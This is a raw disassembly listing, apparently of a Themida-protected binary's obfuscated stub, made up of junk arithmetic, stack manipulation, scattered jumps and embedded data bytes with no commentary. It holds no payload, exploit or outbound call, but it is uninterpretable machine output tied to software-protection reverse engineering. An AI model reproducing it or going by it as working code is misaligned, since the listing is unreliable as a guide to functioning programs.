esi, 7446563Eh add esi, 2FA860F2h add esi, ebx sub esi, 2FA860F2h jmp loc_5AC8DD ; --------------------------------------------------------------------------- dw 835Dh dd 48904ECh, 56E08924h, 5FD6E9h db 0 ; --------------------------------------------------------------------------- loc_59D879: ; CODE XREF: Themida_:00599C7Fj push edi jmp loc_5ADBB0 ; --------------------------------------------------------------------------- loc_59D87F: ; CODE XREF: Themida_:0059EC22j pop edx add esp, 4 push 7935h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D8A6: ; CODE XREF: Themida_:005AD0A5j and dl, 67h push ebx mov bh, 7Bh jmp loc_5A43E3 ; --------------------------------------------------------------------------- loc_59D8B1: ; CODE XREF: Themida_:005AFCECj pop eax sub esi, 7FDF5FD3h add ebp, esi jmp loc_5A56E2 ; --------------------------------------------------------------------------- loc_59D8BF: ; CODE XREF: Themida_:005AEE08j sub word ptr [esp+4], 1217h pop dx sub word ptr [esp+2], 2487h add [esp+2], cx add word ptr [esp+2], 2487h jmp loc_59CB01 ; --------------------------------------------------------------------------- dd 1E468h, 24148900h, 54017ABAh, 0E9D33166h, 0A3E4h ; --------------------------------------------------------------------------- loc_59D8F4: ; CODE XREF: Themida_:0059F5F8j pop ebp sub esp, 4 mov [esp], esi mov esi, 732F4DFBh inc esi jmp loc_5ADAF3 ; --------------------------------------------------------------------------- loc_59D909: ; CODE XREF: Themida_:005AB4DBj mov eax, 1F51366Ah sub eax, 10B7723Eh or eax, 650B784Bh xor eax, 756CB292h jmp loc_5A9DA6 ; --------------------------------------------------------------------------- loc_59D922: ; CODE XREF: Themida_:0059AF64j sub esp, 4 mov [esp], ebp jmp loc_5ADD33 ; --------------------------------------------------------------------------- dd 0EC835A54h, 242C8904h, 5F1886BDh, 0F7BDE950h, 0C3610000h dword_59D944 dd 53D831ADh, 4F7809BBh, 4DF38134h, 0F10766Fh, 0FFBFE680h ; DATA XREF: Themida_:005986C0o dd 53E9E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59D95E: ; CODE XREF: Themida_:0059941Dj not dl mov ah, dl pop edx jmp loc_59AA56 ; --------------------------------------------------------------------------- loc_59D968: ; CODE XREF: Themida_:005A54F7j pop bx jmp loc_59F0B7 ; --------------------------------------------------------------------------- loc_59D96F: ; CODE XREF: Themida_:005994D7j shl ch, 4 not ch push bx push eax mov al, 34h jmp loc_5A65CC ; --------------------------------------------------------------------------- word_59D97E dw 8B66h ; DATA XREF: Themida_:005988DCo dd 0EC812404h, 4, 0E9243C89h, 0FA56h, 5C243487h, 8904EC83h dd 8B542434h, 0D0E92434h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D9A3: ; CODE XREF: Themida_:005AC96Aj mov [esp], ecx sub esp, 4 jmp loc_5AB04F ; --------------------------------------------------------------------------- loc_59D9AE: ; CODE XREF: Themida_:0059DC37j mov [esp], ebp push esp jmp loc_5A831E ; --------------------------------------------------------------------------- loc_59D9B7: ; CODE XREF: Themida_:005A8847j xchg ecx, [esp] mov esp, [esp] add edi, 4 add edi, 4 jmp loc_5A9AE6 ; --------------------------------------------------------------------------- loc_59D9CE: ; CODE XREF: Themida_:005AD33Bj pop ebp jmp loc_5A516D ; --------------------------------------------------------------------------- loc_59D9D4: ; CODE XREF: Themida_:005AD003j add ebx, edx pop edx xchg ebx, [esp] mov esp, [esp] push eax push 890h push esp pop dword ptr [esp] push 139Bh mov [esp], ebp push ebx push edx push 1EA7342Eh pop edx jmp loc_5AA102 ; --------------------------------------------------------------------------- loc_59D9FC: ; CODE XREF: Themida_:005A68ECj mov [esp], ebp mov ebp, 2F055A30h shr ebp, 3 js loc_59BC20 neg ebp push 0 sub [esp], ebp pop ebp push eax mov eax, 5E0EB46h xor ebp, eax pop eax mov edi, ebp pop ebp jmp loc_5A3991 ; --------------------------------------------------------------------------- loc_59DA29: ; CODE XREF: Themida_:005AF861j sub edi, ecx pop ecx add edi, esi add edi, 3F133A1Eh jmp loc_5AFB14 ; --------------------------------------------------------------------------- loc_59DA39: ; CODE XREF: Themida_:0059B7AEj pop dword ptr [esp] pop esp or eax, eax jz loc_5A6301 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5A2501 ; --------------------------------------------------------------------------- dw 3431h dd 0F99AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59DA5E: ; CODE XREF: Themida_:005A002Ej xchg ebx, [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 jmp loc_59981A ; --------------------------------------------------------------------------- loc_59DA72: ; CODE XREF: Themida_:005A7156j mov esi, 6D015D4Ah push ebx push edi jmp loc_5A083A ; --------------------------------------------------------------------------- loc_59DA7E: ; CODE XREF: Themida_:005ADDC1j add ebx, 4 jmp loc_5A629B ; --------------------------------------------------------------------------- loc_59DA89: ; CODE XREF: Themida_:005AEB14j pop esi add esi, 39CA6F5Eh pop ebx push ebp mov ebp, 6E415EEBh or esi, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5A2DB8 ; --------------------------------------------------------------------------- loc_59DAB6: ; CODE XREF: Themida_:loc_5AB026j jmp loc_59C6CF ; --------------------------------------------------------------------------- aHkpkvs_z db 'hkP╙VИ_┤',0 dd 0C2814A00h, 0DE34BAFAh, 0BD040FB8h, 8BD0290Bh, 0C4812414h dd 4, 7ECCEB81h, 0EB81114Fh, 51E577F3h, 0C381C301h, 51E577F3h dd 7ECCC381h, 8158114Fh, 4C3h, 0D1C9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DB02: ; CODE XREF: Themida_:005A9D2Ej pop esp mov ecx, [esp] add esp, 4 sub eax, 21216EE9h add eax, edi add eax, 21216EE9h mov edi, [esp] add esp, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax jmp loc_59C7DE ; --------------------------------------------------------------------------- loc_59DB2F: ; CODE XREF: Themida_:0059920Fj ; Themida_:0059FFC1j add ecx, 364136E6h jmp loc_5A4ABF ; --------------------------------------------------------------------------- loc_59DB3A: ; CODE XREF: Themida_:005A105Cj push eax mov eax, esp push ecx mov ecx, 1B53C97h and ecx, 0DAC7350h inc ecx dec ecx push eax mov eax, 1A43014h xor ecx, eax pop eax add eax, 76BD1353h add eax, 6FFB6F94h add eax, ecx sub eax, 6FFB6F94h sub eax, 76BD1353h pop ecx push ebp mov ebp, 4 sub eax, ebp push dword ptr [esp] pop ebp jmp loc_5AC5A3 ; --------------------------------------------------------------------------- loc_59DB7C: ; CODE XREF: Themida_:005AB6D8j add ebp, eax push dword ptr [esp] pop eax jmp loc_5AA99C ; --------------------------------------------------------------------------- loc_59DB87: ; CODE XREF: Themida_:0059EB2Fj sub bl, ch push ecx mov cl, 0FAh shl cl, 2 jmp loc_59F1AC ; --------------------------------------------------------------------------- loc_59DB94: ; CODE XREF: Themida_:005A1F46j add esp, 4 add esp, 4 loc_59DB9D: ; CODE XREF: Themida_:005A726Fj ; Themida_:005A878Ej push dword ptr [edi+24h] jmp loc_5A78E9 ; --------------------------------------------------------------------------- loc_59DBA5: ; CODE XREF: Themida_:loc_59AE14j ; Themida_:005A84C8j jmp loc_59F854 ; --------------------------------------------------------------------------- loc_59DBAA: ; CODE XREF: Themida_:005AA682j dec esi shr esi, 7 jmp loc_5A58FF ; --------------------------------------------------------------------------- loc_59DBB3: ; CODE XREF: Themida_:005AE9A6j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx push 7CB44DC6h pop edx push eax jmp loc_59AB36 ; --------------------------------------------------------------------------- loc_59DBCB: ; CODE XREF: Themida_:005A0CF4j push edi push edx jmp loc_5ACB1D ; --------------------------------------------------------------------------- loc_59DBD2: ; CODE XREF: Themida_:0059DCEDj add edi, 65AF539Fh add edi, 1FEA3B7Bh pop ebp std push 0Ah push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_5A4ADC ; --------------------------------------------------------------------------- loc_59DBF6: ; CODE XREF: Themida_:005A5C5Fj push eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4ECh, 240C8900h, 468h, 240C8B00h, 5504C483h dd 0A83359BDh, 2B1AE944h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59DC22: ; CODE XREF: Themida_:005A5745j push ebp jmp loc_59B6F8 ; --------------------------------------------------------------------------- loc_59DC28: ; CODE XREF: Themida_:0059AA60j mov eax, [esp] add esp, 4 shr ebx, 3 jmp loc_5AA55A ; --------------------------------------------------------------------------- loc_59DC36: ; CODE XREF: Themida_:005AA2DFj pop esp jmp loc_59D9AE ; --------------------------------------------------------------------------- dword_59DC3C dd 0FF2434FFh, 34FF2434h, 24048B24h, 8104C483h, 4C4h, 3A8F6800h ; DATA XREF: Themida_:00598754o dd 2C890000h, 2C8B5424h, 0D668E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59DC62: ; CODE XREF: Themida_:0059DCB1j xor ecx, edx jmp loc_5A1402 ; --------------------------------------------------------------------------- db 0E9h, 35h, 0ADh dd 454DFFFFh, 0EFF5814Dh, 5EF7DEFh, 2FFA2145h, 452DE801h dd 0E92FFA21h, 7D7Bh ; --------------------------------------------------------------------------- loc_59DC88: ; CODE XREF: Themida_:005AE859j pop edi sub edx, 6FD94CA4h jmp loc_59E06E ; --------------------------------------------------------------------------- loc_59DC94: ; CODE XREF: Themida_:005A7921j push ebp mov ebp, 24F3385Ch not ebp and ebp, 52EB7C04h sub ebp, 0DD91C7A4h mov edx, ebp pop ebp sub edx, 43F406DEh jmp loc_59DC62 ; --------------------------------------------------------------------------- loc_59DCB6: ; CODE XREF: Themida_:005A441Dj mov eax, 208875EEh push esi mov esi, 0DF778A16h jmp loc_59DE0C ; --------------------------------------------------------------------------- loc_59DCC6: ; CODE XREF: Themida_:005ABA33j or edx, 7D16781Fh dec edx xor edx, 0EF55447h xor ebp, edx mov edx, [esp] add esp, 4 not ebp jmp loc_5A2297 ; --------------------------------------------------------------------------- loc_59DCE5: ; CODE XREF: Themida_:0059FE95j push eax jmp loc_5A364D ; --------------------------------------------------------------------------- loc_59DCEB: ; CODE XREF: Themida_:005AC78Cj add edi, ebp jmp loc_59DBD2 ; --------------------------------------------------------------------------- loc_59DCF2: ; CODE XREF: Themida_:005A8BD8j add ebx, 6588C861h mov ebp, ebx jmp loc_5A356E ; --------------------------------------------------------------------------- aVaAuSag db '╤v─ф>─Н,ИaG',0 align 4 dd 10D9C681h, 0C681507Eh, 69A13E1Eh, 46CFEE81h, 875B7BD2h dd 248B2434h, 0FACEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59DD2A: ; CODE XREF: Themida_:005A5E90j inc edx jo loc_5989CB not edx xor edx, 621F45BFh shr edx, 3 sub edx, 9D8D8FACh mov ebx, edx push dword ptr [esp] pop edx add esp, 4 sub ebx, 1 jmp loc_5AAB34 ; --------------------------------------------------------------------------- loc_59DD56: ; CODE XREF: Themida_:005A1584j mov edx, 1A8063A4h shl edx, 6 and edx, 4BE51604h sub edx, 8A2DC049h sub ebx, edx pop edx mov esi, [esp] jmp loc_5A6EFB ; --------------------------------------------------------------------------- loc_59DD75: ; CODE XREF: Themida_:005A9805j mov edi, 1EBD79BFh shr edi, 8 sub edi, 99A4A60h and edi, 356C6CC0h shl edi, 6 or edi, 1D344AB6h xor edi, 744FCB37h sub eax, edi pop edi jmp loc_5A0923 ; --------------------------------------------------------------------------- loc_59DDA0: ; CODE XREF: Themida_:005AAA73j xchg esi, [esp] jmp loc_5993D9 ; --------------------------------------------------------------------------- dd 0C181C101h, 6D9441BEh, 8324048Bh, 0C2E904C4h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_59DDBB: ; CODE XREF: Themida_:005AF841j mov ecx, 737754BBh not ecx inc ecx push edi mov edi, 0FFFFFFFFh jmp loc_5A2124 ; --------------------------------------------------------------------------- loc_59DDCE: ; CODE XREF: Themida_:005A281Fj mov [esp], edx push 49C777F4h pop edx neg edx jle loc_5A0756 jmp loc_5AB8EC ; --------------------------------------------------------------------------- dd 8B243C87h db 0F3h, 24h, 0F5h ; --------------------------------------------------------------------------- loc_59DDEB: ; CODE XREF: Themida_:00599FF3j ; Themida_:005AFC5Bj xor esi, [esp] jmp loc_5AEB05 ; --------------------------------------------------------------------------- loc_59DDF3: ; CODE XREF: Themida_:0059C446j pop ebx push ebp mov ebp, esp add ebp, 4 jmp loc_5A2F2D ; --------------------------------------------------------------------------- loc_59DE02: ; CODE XREF: Themida_:005A1CE0j xor eax, 0E2ABFFF6h jmp loc_5A09BF ; --------------------------------------------------------------------------- loc_59DE0C: ; CODE XREF: Themida_:0059DCC1j add eax, esi pop esi jmp loc_5AE65C ; --------------------------------------------------------------------------- a_hn7 db '_hn7',0 align 2 dw 1C89h dd 81E38924h, 4C3h, 4EB8300h, 2474FF53h, 48F5B04h, 34895C24h dd 0F1685224h, 0E953A174h, 18F9h ; --------------------------------------------------------------------------- loc_59DE40: ; CODE XREF: Themida_:005A541Fj mov ebx, 6A421636h shr ebx, 3 jmp loc_5AF18B ; --------------------------------------------------------------------------- loc_59DE4D: ; CODE XREF: Themida_:005989E1j ; Themida_:005AF0C5j pop ebp sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push ebx push small 7E6Eh pop bx jmp loc_5A67F4 ; --------------------------------------------------------------------------- db 0BBh dd 489B36BFh, 1E8FC381h, 0F38139ABh, 37D155E0h, 0AAEB81h dd 6CE9B597h, 81FFFFDBh, 4C4h, 0E7895700h, 4BA52h, 0B2E90000h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DE97: ; CODE XREF: Themida_:005AB35Fj xor edx, 77BA378Bh add ebx, edx jmp loc_599771 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4C581h, 2C870000h, 34875C24h, 24248B24h dd 0FFCA76E9h db 0FFh ; --------------------------------------------------------------------------- loc_59DEC1: ; CODE XREF: Themida_:005A0882j push dword ptr [esp] pop eax push edi sub esp, 4 push esp pop dword ptr [esp] push edi mov edi, 4 sub dword ptr [esp+4], 730A0674h add [esp+4], edi add dword ptr [esp+4], 730A0674h pop edi pop edi add edi, 4 jmp loc_59A779 ; --------------------------------------------------------------------------- loc_59DEF4: ; CODE XREF: Themida_:005ABD7Bj sub esp, 4 mov [esp], esi jmp loc_5A6FFB ; --------------------------------------------------------------------------- dw 0C581h dd 0E321D60h, 0FD29E9h, 0E9505300h, 7F15h ; --------------------------------------------------------------------------- loc_59DF14: ; CODE XREF: Themida_:0059D29Fj ; Themida_:005A758Ej push 321Dh mov [esp], ebx mov ebx, 26AC2FFCh jmp loc_5A3986 ; --------------------------------------------------------------------------- dw 0BB53h dd 61D74EF5h, 815BDA21h, 0FFFDD4C2h, 0F122E9FFh, 3487FFFFh dd 31E95C24h, 5C0000FBh, 2A45E9h db 0 ; --------------------------------------------------------------------------- loc_59DF49: ; CODE XREF: Themida_:0059CECEj add edx, 7A3E3D61h pop esi jmp loc_5ABDED ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0DEE9EB01h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DF5F: ; CODE XREF: Themida_:005A15C4j xchg ebx, [esp] pop esp jmp loc_5A6F6B ; --------------------------------------------------------------------------- loc_59DF68: ; CODE XREF: Themida_:005AE3E6j add esp, 4 jmp loc_5A29C8 ; --------------------------------------------------------------------------- loc_59DF73: ; CODE XREF: Themida_:0059C103j neg edx add edx, 6580E9B4h add ebx, edx pop edx pop edi xchg ebx, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 0D0E9h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59DF93: ; CODE XREF: Themida_:005A499Dj xor esi, eax push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_599707 ; --------------------------------------------------------------------------- loc_59DFA9: ; CODE XREF: Themida_:005A70E3j add eax, 61CAC119h mov edx, eax jmp loc_59A886 ; --------------------------------------------------------------------------- loc_59DFB5: ; CODE XREF: Themida_:005AEF6Cj sub edx, 0EDEB65F6h add ebp, edx pop edx or ebp, 67AF58C8h push esi mov esi, 98008115h add ebp, esi mov esi, [esp] add esp, 4 sub edx, 568618EBh add edx, ebp jmp loc_5A4643 ; --------------------------------------------------------------------------- loc_59DFDF: ; CODE XREF: Themida_:005989C6j ; Themida_:0059C6B3j sub esi, 50BC705Dh add esi, 7F7F48C9h mov ecx, [esp] jmp loc_5A0AD1 ; --------------------------------------------------------------------------- loc_59DFF3: ; CODE XREF: Themida_:005A8FC5j push dword ptr [esp] mov ecx, [esp] jmp loc_5A9A81 ; --------------------------------------------------------------------------- loc_59DFFE: ; CODE XREF: Themida_:005A6EE7j add esp, 4 xor esi, 6E482D66h mov ecx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 add ebp, esi pop esi xchg ebp, [esp] jmp loc_5ACF0B ; --------------------------------------------------------------------------- loc_59E01E: ; CODE XREF: Themida_:005999D0j mov eax, ecx jmp loc_59D329 ; --------------------------------------------------------------------------- loc_59E025: ; CODE XREF: Themida_:005A9087j sub eax, esi pop esi xchg eax, [esp] jmp loc_59B041 ; --------------------------------------------------------------------------- loc_59E030: ; CODE XREF: Themida_:005AA004j add edi, eax mov eax, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi jmp loc_59E7F7 ; --------------------------------------------------------------------------- byte_59E043 db 0FFh ; DATA XREF: Themida_:00598784o dd 34FF2434h, 240C8B24h, 4C481h, 0C4810000h, 4, 1F4968h dd 24048900h, 81E68956h, 4C6h, 526BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E06E: ; CODE XREF: Themida_:0059DC8Fj mov edi, [esp] add esp, 4 inc edx sub edx, 484A5C40h jmp loc_5AD982 ; --------------------------------------------------------------------------- db 0C1h dd 842D08E8h, 83A8C729h, 48904ECh, 24048124h, 4D615FF9h dd 0E92434FFh, 7D31h, 0F704E3C1h, 80F381D3h, 98B63DDh dd 0C1815BD9h, 0DF35ECA4h, 8159CE31h, 509BAAC6h, 0E9F309EBh dd 0FFFFBE61h ; --------------------------------------------------------------------------- loc_59E0C4: ; CODE XREF: Themida_:005A787Dj pop ebx add edx, 69C34A99h jmp loc_59EA6D ; --------------------------------------------------------------------------- loc_59E0D0: ; CODE XREF: Themida_:005AC469j add edx, 4 add edx, 4 jmp loc_59E619 ; --------------------------------------------------------------------------- dw 0AE9h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E0E3: ; CODE XREF: Themida_:005AD0EEj xor [esp], eax xor eax, [esp] pop esp mov [esp], edx push esp pop edx add edx, 4 jmp loc_5AA189 ; --------------------------------------------------------------------------- loc_59E0FA: ; CODE XREF: Themida_:005ACFA2j add esp, 4 sub eax, 50D5325Ch pop ecx pop ebp push edx mov edx, 0E3409CBh inc edx jmp loc_5A837A ; --------------------------------------------------------------------------- loc_59E113: ; CODE XREF: Themida_:00599782j xor dword ptr [esp], 37A421DDh pop ebx xor ebx, 37A421DDh jmp loc_59AB55 ; --------------------------------------------------------------------------- loc_59E126: ; CODE XREF: Themida_:005A54DCj pop eax push ecx not byte ptr [esp+1] pop ecx mov dl, ch pop ecx not dl jmp loc_59D25A ; --------------------------------------------------------------------------- loc_59E137: ; CODE XREF: Themida_:005ACBE8j or al, dl pop edx shr al, 6 jmp loc_5A14B0 ; --------------------------------------------------------------------------- loc_59E142: ; CODE XREF: Themida_:005A9B25j pop ebp neg ebp ja loc_5AA16B push ebp jmp loc_5A2D59 ; --------------------------------------------------------------------------- loc_59E151: ; CODE XREF: Themida_:005AFE3Fj push 30BCh jmp loc_5A4E43 ; --------------------------------------------------------------------------- loc_59E15B: ; CODE XREF: Themida_:005AD636j add ebp, 4 push 3CF4h jmp loc_5A1DA7 ; --------------------------------------------------------------------------- loc_59E16B: ; CODE XREF: Themida_:0059CC1Bj ; Themida_:005AA7F9j mov esi, [esp] add esp, 4 push edi mov edi, 4 add esi, 0E7F6AE7h add esi, edi sub esi, 0E7F6AE7h pop edi jmp loc_5A0A77 ; --------------------------------------------------------------------------- loc_59E18E: ; CODE XREF: Themida_:0059E519j sub cl, 14h jmp loc_5A45E0 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 4BB53h, 0D8290000h, 8737E9h db 0 ; --------------------------------------------------------------------------- loc_59E1A9: ; CODE XREF: Themida_:005999B1j mov dl, 69h sub bl, dl pop edx add bl, 4 sub bl, al sub bl, 4 push edx mov dl, 64h jmp loc_5A9B14 ; --------------------------------------------------------------------------- loc_59E1BE: ; CODE XREF: Themida_:005A58CBj mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 0CCBBh dd 8168607Fh, 13405DF3h, 2C74E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E1D6: ; CODE XREF: Themida_:005A15A4j push 4A22h mov [esp], edx push 1B78h mov [esp], ebp push ebx mov ebx, 3EED64A0h mov ebp, 2C730B8Bh add ebp, ebx pop ebx mov edx, 0AE13AD30h sub edx, ebp pop ebp push edi jmp loc_5AA123 ; --------------------------------------------------------------------------- loc_59E202: ; CODE XREF: Themida_:005A38A6j sub ebx, 4085115Fh push edi mov edi, 1D533DADh add ebx, edi jmp loc_5A0E38 ; --------------------------------------------------------------------------- loc_59E215: ; CODE XREF: Themida_:005A0378j xor eax, 77D5A16h push eax jmp loc_598F26 ; --------------------------------------------------------------------------- loc_59E220: ; CODE XREF: Themida_:0059AF19j push esi jmp loc_5A7E3D ; --------------------------------------------------------------------------- loc_59E226: ; CODE XREF: Themida_:005A1E17j push eax mov eax, 2C91396Ah xor eax, 7A664B68h sub eax, 332B628Dh neg eax add eax, 1A5C0795h sub ecx, eax pop eax add eax, ecx pop ecx jmp loc_59FA4F ; --------------------------------------------------------------------------- loc_59E248: ; CODE XREF: Themida_:005A89EFj xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_5A6918 ; --------------------------------------------------------------------------- loc_59E25A: ; CODE XREF: Themida_:0059987Aj ; Themida_:005A9224j add edx, ecx pop ecx or edi, edx pop edx push edx mov edx, 92E24A1h add edx, 57B8067Dh add edx, 47936594h add edx, 9540D747h jmp loc_59ADC7 ; --------------------------------------------------------------------------- db 29h, 0D1h, 81h dd 3F1637E9h, 0BC28E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E28A: ; CODE XREF: Themida_:005ABB29j add esi, 4 add esi, 4 jmp loc_5AF38E ; --------------------------------------------------------------------------- loc_59E298: ; CODE XREF: Themida_:005AFB94j push ecx push esp mov ecx, [esp] add esp, 4 push ebx jmp loc_59E7B2 ; --------------------------------------------------------------------------- loc_59E2A9: ; CODE XREF: Themida_:0059AA77j mov ebp, 4 push ebp mov ebp, 7B5A3BCCh sub ecx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, ebp add ecx, 7B5A3BCCh pop ebp add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5AF0EE ; --------------------------------------------------------------------------- loc_59E2E1: ; CODE XREF: Themida_:005AB99Aj mov eax, [esp] add esp, 4 push dword ptr [edx] push ecx mov ecx, 31422D66h sub dword ptr [esp+4], 2F9A0FC6h sub [esp+4], ecx add dword ptr [esp+4], 2F9A0FC6h pop ecx pop ecx jmp loc_5AF642 ; --------------------------------------------------------------------------- db 0BDh, 62h, 2Fh dd 6EE90304h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E317: ; CODE XREF: Themida_:0059EC48j pop ecx jmp loc_5AF9AD ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0E904C483h, 0FFFFB521h, 0BF243C89h, 5B8D055Ch, 0EBD1E953h dd 0D6F6FFFFh, 0FFFC18E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E33D: ; CODE XREF: Themida_:loc_59D5D5j add eax, 46C67C25h mov edi, eax jmp loc_59EC27 ; --------------------------------------------------------------------------- loc_59E349: ; CODE XREF: Themida_:loc_5A42CBj xor edx, 6AAB78A0h jnz loc_5A6843 jmp loc_5A7E52 ; --------------------------------------------------------------------------- dw 0FF66h dd 0B99C240Ch, 14C42EDCh, 0AFF18141h, 0C152305Eh, 0C18106E9h dd 44D03FD9h, 801AE9h db 0 ; --------------------------------------------------------------------------- loc_59E379: ; CODE XREF: Themida_:005A1497j xchg ebx, [esp] jmp loc_5A4458 ; --------------------------------------------------------------------------- loc_59E381: ; CODE XREF: Themida_:005A84ECj ; Themida_:005AA7BFj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] sub ebx, 4 jmp loc_59FC69 ; --------------------------------------------------------------------------- loc_59E3A0: ; CODE XREF: Themida_:005A7661j mov ecx, [esp] jmp loc_5A8964 ; --------------------------------------------------------------------------- loc_59E3A8: ; CODE XREF: Themida_:005A98D5j pop ebp pop edx sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp inc word ptr [esp] pushf jmp loc_5A9BDB ; --------------------------------------------------------------------------- loc_59E3C6: ; CODE XREF: Themida_:005A37EFj xor ebx, eax jmp loc_5AEA11 ; --------------------------------------------------------------------------- loc_59E3CD: ; CODE XREF: Themida_:005A9744j push esp pop dword ptr [esp] push ebp jmp loc_5AA069 ; --------------------------------------------------------------------------- loc_59E3D7: ; CODE XREF: Themida_:0059B039j and eax, 645290Ch jmp loc_59E557 ; --------------------------------------------------------------------------- db 83h, 0EFh, 1 dd 2B88E9h db 0 ; --------------------------------------------------------------------------- loc_59E3E9: ; CODE XREF: Themida_:005A01FDj shr esi, 7 jmp loc_5A73CE ; --------------------------------------------------------------------------- loc_59E3F1: ; CODE XREF: Themida_:005ABB21j dec edx and edx, 3AA84BCCh jo loc_5AB379 push eax mov eax, 410A65E2h jmp loc_59BB80 ; --------------------------------------------------------------------------- loc_59E409: ; CODE XREF: Themida_:005AC009j add ecx, 4 jmp loc_5A5B89 ; --------------------------------------------------------------------------- dd 405h, 7BBD5500h, 8118DE18h, 837497E5h, 0E9D5F716h, 0FFFFF842h dd 2AE9815Dh, 105791Dh, 2AC181D1h, 0E905791Dh, 0FFFFF102h ; --------------------------------------------------------------------------- loc_59E440: ; CODE XREF: Themida_:0059F6C0j push ebp mov ebp, 119561A2h jmp loc_5AD670 ; --------------------------------------------------------------------------- loc_59E44B: ; CODE XREF: Themida_:005A6C1Aj push 361Ch mov [esp], esp add dword ptr [esp], 4 jmp loc_5A7B29 ; --------------------------------------------------------------------------- loc_59E45C: ; CODE XREF: Themida_:005992DCj add ebp, 61361196h jmp loc_5AD6BF ; --------------------------------------------------------------------------- db 0BDh dd 4, 4246C01h, 405585Dh, 52000000h, 0EFDBE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E47E: ; CODE XREF: Themida_:005A85B2j add ecx, 99EBEEC4h jmp loc_5A5451 ; --------------------------------------------------------------------------- loc_59E489: ; CODE XREF: Themida_:005A3EF7j add eax, 63B223FFh add eax, edi push ebx mov ebx, 63B223FFh sub eax, ebx jmp loc_5A9B65 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 248B2434h, 2DC82924h, 69DE1033h, 55685659h dd 5E2FFD5Fh, 371CE81h, 0E9465F2Bh, 0FFFFE113h ; --------------------------------------------------------------------------- loc_59E4C4: ; CODE XREF: Themida_:005A0C20j pop esp push edi mov edi, esp jmp loc_5A4EB5 ; --------------------------------------------------------------------------- loc_59E4CD: ; CODE XREF: Themida_:005AF3EFj add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add ebp, 4 jmp loc_5AEA7C ; --------------------------------------------------------------------------- loc_59E4E7: ; CODE XREF: Themida_:005A71EBj neg cl jns loc_59E517 inc cl jl loc_5AE273 sub cl, 14h and al, 29h pop edx loc_59E4FD: ; CODE XREF: Themida_:0059EDA7j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_5AA155 ; --------------------------------------------------------------------------- dw 8CE9h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E517: ; CODE XREF: Themida_:0059E4E9j inc cl jl loc_59E18E sub cl, 14h jmp loc_5AB7A4 ; --------------------------------------------------------------------------- loc_59E527: ; CODE XREF: Themida_:005AC434j add esp, 4 jmp loc_5ADB51 ; --------------------------------------------------------------------------- loc_59E532: ; CODE XREF: Themida_:0059CD2Ej add esp, 4 push edx jmp loc_5A6D87 ; --------------------------------------------------------------------------- loc_59E53B: ; CODE XREF: Themida_:005A3FA2j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A1BEE ; --------------------------------------------------------------------------- loc_59E54E: ; CODE XREF: Themida_:0059FECFj xchg edx, [esp] pop esp jmp loc_5AC167 ; --------------------------------------------------------------------------- loc_59E557: ; CODE XREF: Themida_:0059E3DCj sub eax, 3B8E236Ah xor eax, 28A965A0h jnz loc_5A38D2 jmp loc_5A5E21 ; --------------------------------------------------------------------------- dd 34FFF801h db 24h, 5Fh, 53h ; --------------------------------------------------------------------------- loc_59E573: ; CODE XREF: Themida_:005ACB18j pop edi add edi, 4 push ebp jmp loc_5A8C91 ; --------------------------------------------------------------------------- dd 0F181D1F7h, 0BA565F47h, 4840E9h db 0 ; --------------------------------------------------------------------------- loc_59E58D: ; CODE XREF: Themida_:0059BE75j ; Themida_:005A6F1Aj sub ebp, 4 jmp loc_5A6EF2 ; 